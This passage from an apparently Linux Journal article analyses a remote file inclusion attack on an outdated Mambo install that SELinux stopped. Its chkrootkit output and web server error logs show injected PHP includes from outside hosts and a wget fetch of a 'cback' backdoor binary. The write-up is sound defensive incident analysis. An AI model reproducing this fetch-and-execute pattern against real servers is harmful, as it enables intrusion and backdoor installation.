Mambo Exploit Blocked by SELinux
Listing 6. chkrootkit Output
# chkrootkit -q /usr/lib/firefox-1.0.4/chrome/.reregchrome /usr/lib/firefox-1.0.6/chrome/.reregchrome /usr/lib/jvm/java-1.4.2-ibm-18.104.22.168/jre/.systemPrefs /usr/lib/jvm/java-1.4.2-ibm-22.214.171.124/jre/.systemPrefs/ ↪.system.lock /usr/lib/jvm/java-1.4.2-ibm-126.96.36.199/jre/.systemPrefs/ ↪.systemRootModFile /usr/lib/firefox-1.0.8/chrome/.reregchrome /usr/lib/firefox-1.0.7/chrome/.reregchrome /usr/lib/perl5/5.8.5/i386-linux-thread-multi/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/ ↪auto/mod_perl/.packlist /usr/lib/jvm/java-1.4.2-ibm-188.8.131.52/jre/.systemPrefs INFECTED (PORTS: 465)
The chkrootkit program checks for and analyzes various files that rootkits and worms commonly leave behind. It warns about hidden files in unexpected places and services running on ports that malware often uses. A quick inspection revealed that the hidden files this listed were all harmless. The INFECTED warning on port 465 was a false alarm, because this computer was running a Web server that listens for https on port 465. In this case, analyzing the chkrootkit output did not reveal a real rootkit problem. Running chkrootkit can give you some extra peace of mind when you know an attacker has penetrated your defenses, even though its checks are not conclusive.
The server ran SELinux using the targeted policy at the time of the attack. The audit log message that originally sounded the alarm that all was not well was an access denied message. The Web server error log provided more detail in the form of the output of the injected shell code, including the wget session and the access denied message resulting from the attempted execution of wget, as shown in Listing 7.
Listing 7. Web Server Error Logs Showing Attack Traces
[Thu May 04 07:52:24 2006] [error] [client 10.9.233.25] File does not exist: /var/www/html/mambo [client 10.9.233.25] PHP Warning: main(http://ess.trix.net/therules.dat): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found\r\n in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 13 [client 10.9.233.25] PHP Warning: main(): Failed opening 'http://ess.trix.net/therules.dat' for inclusion (include_path='.:/usr/share/pear') in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 13 [client 10.9.233.25] PHP Notice: Undefined variable: pro4 in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 69 [ ...output trimmed ] [client 10.9.233.25] PHP Notice: Undefined variable: SERVER_SOFTWARE in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 112 [client 10.9.233.25] PHP Notice: Undefined variable: SERVER_VERSION in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 112 --07:52:24-- http://172.16.31.57/cback => `cback' Connecting to 172.16.31.57:80... connected. HTTP request sent, awaiting response... [Thu May 04 07:52:25 2006] [error] [client 10.9.233.25] File does not exist: /var/www/html/cvs 200 OK Length: 13,901 (14K) [text/plain] 0K .......... ... 100% 110.90 KB/s 07:52:27 (110.90 KB/s) - `cback' saved [13901/13901] sh: ./cback: Permission denied [client 10.9.233.25] PHP Notice: Undefined variable: ch_msg in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 202 [ ...output trimmed...] [client 10.9.233.25] PHP Fatal error: Cannot redeclare safemode() (previously declared in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php:129) in http://172.16.31.57/cmd.gif?/includes/footer.php on line 129
SELinux prevented the cback executable from running, saving targetbox from the next stage of the worm.
Newer versions of Mambo close the hole that the attacker exploited, so I could install a new version without being vulnerable to the same exploit.
Many of the tools required to analyze an attack are already a core part of all modern Linux distributions. Combined with the power of modern search engines and the public disclosure of known vulnerabilities, you can often determine a good deal of information about the nature of an attack.
Installing something from source code to test it out, then leaving it on a publicly available computer made the system vulnerable. That this test installation lived in the document root of the main virtual host on the Web server made it even more exposed and vulnerable to discovery by worms.
Many PHP-powered systems have installation instructions that essentially tell you to unarchive the software somewhere inside the document root of a Web server, then modify some configuration files. You often cannot use the same type of clean operating-system-wide packaging for PHP systems, as each installation uses a distinct set of PHP templates. It took about 11 months between installing Mambo and the attack, during which time I did not update the software at all.
Using yum or apt-get to update Mambo would help keep it up to date. When I started investigating Mambo, I could not find RPM packaging for it, though third parties have created RPMs for Mambo since then. Operating system vendors and software authors need to work on better mechanisms for automatic software maintenance of Web systems.
SELinux really saved the day, preventing the exploit program from running. Without the protection of SELinux, this easily could have turned into a root compromise requiring a much more extensive analysis and recovery effort.
Practical Task Scheduling Deployment
One of the best things about the UNIX environment (aside from being stable and efficient) is the vast array of software tools available to help you do your job. Traditionally, a UNIX tool does only one thing, but does that one thing very well. For example, grep is very easy to use and can search vast amounts of data quickly. The find tool can find a particular file or files based on all kinds of criteria. It's pretty easy to string these tools together to build even more powerful tools, such as a tool that finds all of the .log files in the /home directory and searches each one for a particular entry. This erector-set mentality allows UNIX system administrators to seem to always have the right tool for the job.
Cron traditionally has been considered another such a tool for job scheduling, but is it enough? This webinar considers that very question. The first part builds on a previous Geek Guide, Beyond Cron, and briefly describes how to know when it might be time to consider upgrading your job scheduling infrastructure. The second part presents an actual planning and implementation framework.
Join Linux Journal's Mike Diehl and Pat Cameron of Help Systems.
Free to Linux Journal readers.View Now!
|The Firebird Project's Firebird Relational Database||Jul 29, 2016|
|Stunnel Security for Oracle||Jul 28, 2016|
|SUSE LLC's SUSE Manager||Jul 21, 2016|
|My +1 Sword of Productivity||Jul 20, 2016|
|Non-Linux FOSS: Caffeine!||Jul 19, 2016|
|Murat Yener and Onur Dundar's Expert Android Studio (Wrox)||Jul 18, 2016|
- The Firebird Project's Firebird Relational Database
- Stunnel Security for Oracle
- My +1 Sword of Productivity
- Non-Linux FOSS: Caffeine!
- SUSE LLC's SUSE Manager
- Managing Linux Using Puppet
- Murat Yener and Onur Dundar's Expert Android Studio (Wrox)
- Parsing an RSS News Feed with a Bash Script
- Google's SwiftShader Released
- Doing for User Space What We Did for Kernel Space